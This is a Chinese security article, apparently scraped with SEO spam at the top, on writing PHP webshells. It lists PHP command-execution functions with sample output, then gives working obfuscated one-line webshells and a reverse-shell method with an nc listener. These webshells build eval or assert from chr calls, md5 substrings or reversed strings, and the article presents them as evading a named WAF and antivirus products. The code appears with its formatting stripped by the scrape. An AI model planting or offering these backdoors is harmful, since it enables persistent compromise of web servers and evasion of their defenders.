网站营销力,wordpress百度插件,中牟网络推广外包,学校网站建设团队作者#xff1a;阻圣预估稿费#xff1a;400RMB(不服你也来投稿啊#xff01;)投稿方式#xff1a;发送邮件至linwei#360.cn#xff0c;或登陆网页版在线投稿前言WebShell是攻击者使用的恶意脚本#xff0c;它的用途主要是在攻击后的Web应用程序上建立持久性的后门。webs…作者阻圣预估稿费400RMB(不服你也来投稿啊)投稿方式发送邮件至linwei#360.cn或登陆网页版在线投稿前言WebShell是攻击者使用的恶意脚本它的用途主要是在攻击后的Web应用程序上建立持久性的后门。webshell本身不能攻击或者利用远程漏洞所以说它总是攻击的第二阶段这个阶段我们经常称为post-exploitation。(PSPost Exploitation是国外渗透测试标准里面的一个阶段)WebShell常用函数现在的Web应用程序基本上是采用PHP开发的所以本篇文章也主要介绍的是php环境下的WebShell。WebShell无非就是使用PHP内置的函数来执行命令以下就是用于在php中执行shell命令的一些最常用的函数。system()system()函数接收命令作为参数并输出结果。以下示例演示了运行dir命令显示执行php文件目录的目录列表system(dir);?--驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:phpstudyWWW 的目录 2016-12-02 15:39. 2016-12-02 15:39.. 2016-12-02 15:38 56 hello.php 2016-12-02 15:38 29 system.php 2016-12-02 15:39test 2 个文件 85 字节 3 个目录 871,600,128 可用字节exec()exec()函数接收一个命令作为参数当不输出结果如果指定第二个可选参数则结果将作为数组返回。否则如果回显将只显示结果的最后一行。exec(dir)?--我们可以使用echo来输出exec()函数的结果。可以发现只有结果的最后一行。echo exec(dir);?--3 个目录 871,538,688 可用字节如果指定第二个参数则在数组中返回结果。echo exec(dir,$array);print_r($array);?--3 个目录 871,538,688 可用字节Array ( [0] 驱动器 C 中的卷没有标签。 [1] 卷的序列号是 7C53-7529 [2] [3] C:phpstudyWWW 的目录 [4] [5] 2016-12-02 15:52. [6] 2016-12-02 15:52.. [7] 2016-12-02 16:15 53 exec.php [8] 2016-12-02 15:38 56 hello.php [9] 2016-12-02 15:46 25 system.php [10] 2016-12-02 15:39test [11] 3 个文件 134 字节 [12] 3 个目录 871,538,688 可用字节 )shell_exec()shell_exec()函数类似于exec()函数但不同的是它会将整个结果作为字符串输出。echo shell_exec(dir);?--驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:phpstudyWWW 的目录 2016-12-02 16:26. 2016-12-02 16:26.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39test 4 个文件 168 字节 3 个目录 871,460,864 可用字节passthru()passthru()函数执行命令并返回输出。passthru(dir);?--驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:phpstudyWWW 的目录 2016-12-02 16:35. 2016-12-02 16:35.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:35 27 passthru.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39test 5 个文件 195 字节 3 个目录 871,456,768 可用字节proc_open()proc_open()函数执行一个命令并且打开用来输入/输出的文件指针。这个函数可能很难理解简单的来说通过使用proc_open()函数我们可以创建一个进程用于我们的脚本和我们想要运行程序之间的通信。详见PHP文档preg_replace()与/e修饰符preg_replace()函数可以执行正则表达式的搜索和替换如果使用/e修饰符意味着使用eval执行替换这样我们就可以传递一个要由eval()函数执行的代码preg_replace(/.*/e, system(net user);, );?--\ 的用户帐户 ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 命令运行完毕但发生一个或多个错误。反引号肯定很多人没有注意到这点吧php将反引号的内容作为shell命令执行。$string$_GET[id];echo $string;?结果某WAF也没扫描到隐藏WebShell-免杀之路利用HTTP请求头在php中我们可以很容易获取到HTTP请求头里面的某些特殊字符串头比如User-Agent。同样的原理我也可以利用这个来传入需要执行的命令。通过User-Agent传入命令执行某waf也是扫描到当然除了User-Agent我们还有Accept-Language等特殊字符串头这里就不做演示了主要的还是方法。混淆技术上面的方法虽然过了waf但是我们人工一看就知道有问题所以我们还需要一些混淆技术来隐藏webshell。首先我们来认识一下几个常用功能。eval() :把字符串作为PHP代码执行assert() :判断一个表达式是否成立直接传入字符串会当做 PHP 代码来执行base64() :使用base64对数据进行编码gzdeflate() :对数据进行Deflate压缩gzinflate()解压缩str_rot13() :对字符串执行 ROT13 转换回调函数这种办法国内我是看了phithon的介绍不过这里我肯定要介绍是最新能绕waf的函数。create_function()$args hui;$code a;}$_POST[bar];/*;echo create_function($args,$code);?这样构造可以把前面的函数体闭合再把后面的注释掉这样就相当于执行了。eval($_POST[bar])使用system函数执行net user命令反弹shell这里给大家介绍一个php反弹shell的脚本。使用方法第一步填写需要反弹到的IP地址和端口以及需要执行的shell命令。$ip 127.0.0.1; // IP地址$port 1234; // 端口$shell net user; //需要执行的命令然后我使用nc监听端口1234nc -v -n -l -p 1234访问php文件后查看nc监听结果发现命令成功执行结果反弹。waf没有扫描到。那些年强悍的WebShell分析在Github上有个项目收集了很多的WebShell这里我们拿出几个我认为比较强悍的webshell分析一下。利用404页面隐藏PHP木马webshell/php/404.php这里主要的代码如下eval(gzinflate(base64_decode($code)));木马代码被编码压缩在$code变量中验证密码是否正确正确就解压执行这里密码经过了三次md5加密。过某waf的webshellwebshell/php/bypass-safedog-2016-08-29.php$amd5(a).;$pocsubstr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);$poc($_GET[a]);?利用a的md5值取出了a和e配合chr函数构造出assert。利用演示zone_hackbar.phpwebshell/php/zone_hackbar.php$sFPCT4BA6ODSE_;$s21strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[n985de9];if(isset($s22)){eval($s21($s22));}?这个webshell也是通过隐藏关键字$s21就是base64解密函数$s22就是接收POST数据。不过某waf对eval可是很敏感的直接报警。不要紧我们修改一下就可以了用assert不需要base64加密了。$sFPCT4BA6ODSE_;$s22${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[n985de9];if(isset($s22)){assert($s22);}?这次就没有扫描到了看看使用有没有错。过各大杀软的pHp一句话webshell/php/过各大杀软的pHp一句话.php$_uUchr(99).chr(104).chr(114);$_cC$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_$_fF(,$_cC);$_();?看起来没什么其实就是先构造了chr这个字符串然后利用chr函数分别构造了eval($_POST[1]);和create_function。最后就是执行create_function(,eval($_POST[1]););不过现在某waf对chr可是很敏感滴。立马被拦截了。最新过某waf一句话这个是我在互联网上看见的其实和回调函数差不多拿来分析一下吧。error_reporting(0);$bzxczxczxczxczxcxzczx;function yuag_array($b,$c){$bstrrev($b);array_map(substr_replace($b, ss, 1, 0),array($c));}yuag_array(trea,$_POST[yuag]);?先是构造了一个函数yuag_array,然后传入了两个参数经过反转和替换字符串构造出assert。这样最后执行的就是array_map(assert,array($_POST[yuag]));这里就不再做详细介绍了。参考文章